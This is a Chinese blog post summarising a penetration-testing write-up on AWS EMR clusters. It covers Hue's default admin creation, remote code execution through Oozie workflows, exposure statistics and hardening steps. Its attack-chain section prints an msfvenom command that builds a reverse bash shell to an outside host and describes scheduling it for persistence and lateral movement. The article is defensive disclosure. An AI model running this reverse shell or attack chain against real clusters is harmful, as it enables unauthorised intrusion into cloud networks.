云安全实战:AWS EMR漏洞挖掘与渗透测试全解析

本文详细记录了Black Hills安全团队在AWS EMR集群中发现的关键安全漏洞,包括Hue接口默认管理员创建漏洞和通过Oozie编辑器实现RCE的技术细节,并提供了Shodan扫描统计和云环境加固实践建议。

云安全实战:AWS EMR漏洞挖掘与渗透测试全解析

Jordan Drysdale //

内容提要

BHIS在审计客户Amazon Web Services(AWS)基础设施时发现:通过弹性Map Reduce(EMR)应用栈存在两条侵入虚拟私有云(VPC)的路径。其一是已被Apache修补的Hadoop未授权RCE漏洞,另一更值得关注的入口是HUE界面——该界面默认允许创建Web管理用户。通过HUE可创建调度任务从集群工作节点发送出口shell,从而打开VPC访问通道。

大数据时代的安全挑战

大型数据处理引擎构成现代科技公司的支柱,数据中心的互联网集合不断收集用户信息。这些数据经聚合编译后存入人口统计容器,并向广告商、政治宣传等买方出售访问权。AWS上的EMR(Elastic Map Reduce)服务只需点击数次即可部署任意规模的数据处理引擎。

责任划分框架

  • 云服务商责任:物理安全、虚拟化部署、硬件维护
  • 客户责任:服务配置管理、策略执行、渗透测试验证
  • 技术细节:EMR集群采用主/工作节点模式的EC2实例,主控制台向工作节点发送操作指令

漏洞扫描发现

使用Tenable产品对默认配置的EMR集群扫描发现:

  • 三节点集群
  • 55个默认开放端口
  • 10个混合风险等级漏洞(低/中/高/严重)
  • 主节点存在不受支持的PHP 5.6.40版本

EMR集群组件分析

集群运行在Amazon预构建AMI上,包含以下关键组件:

  • Hadoop分布式文件系统
  • EMR文件系统(支持S3文件系统通信)
  • Hue(多版本)
  • YARN资源调度器
  • Apache Spark/Flink/Hive
  • Jupyter/Oozie/Pig等工具

默认安全防护与风险

AWS为EMR提供分层保护:

  • 默认安全组禁止互联网入站
  • 托管安全组管理主/工作节点间网络连接
  • 网络管理文档明确警告互联网暴露风险
  • 5.10.0+版本支持Kerberos集群访问控制

攻击链实操演示

  1. 初始访问:Hue服务默认等待创建管理员用户

  2. 权限提升:通过Hue界面创建调度工作流

    1
    
    msfvenom -p cmd/unix/reverse_bash LHOST=1.1.1.1 LPORT=443 -f raw > shell-revBash.sh
    
  3. 持久化:上传反向shell脚本并设置为定期调度任务

  4. 横向移动:通过获得的’yarn’用户权限在VPC内横向渗透

威胁规模统计

  • 2018年12月:约900个Hue界面暴露在互联网
  • 2019年8月:663个可能存在漏洞的实例

加固建议

  1. 将集群部署在配备S3端点的私有子网
  2. 通过NAT实例控制VPC子网与互联网的通信
  3. 使用S3策略限制端点访问权限
  4. 通过堡垒主机安全访问私有子网中的EMR集群

关键参考资源

  • HUE官方文档:http://gethue.com
  • EMR Kerberos集成指南:https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-kerberos.html
  • AWS网络配置概述:https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-plan-vpc-subnet.html
  • offensive AWS工具集:https://github.com/carnal0wnage/weirdAAL

本文披露的并非传统漏洞,而是HUE的"特性",但确实构成重大安全风险。建议企业加强服务安全配置、定期进行渗透测试、制定事件响应计划。

文档版本:2019年8月21日

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计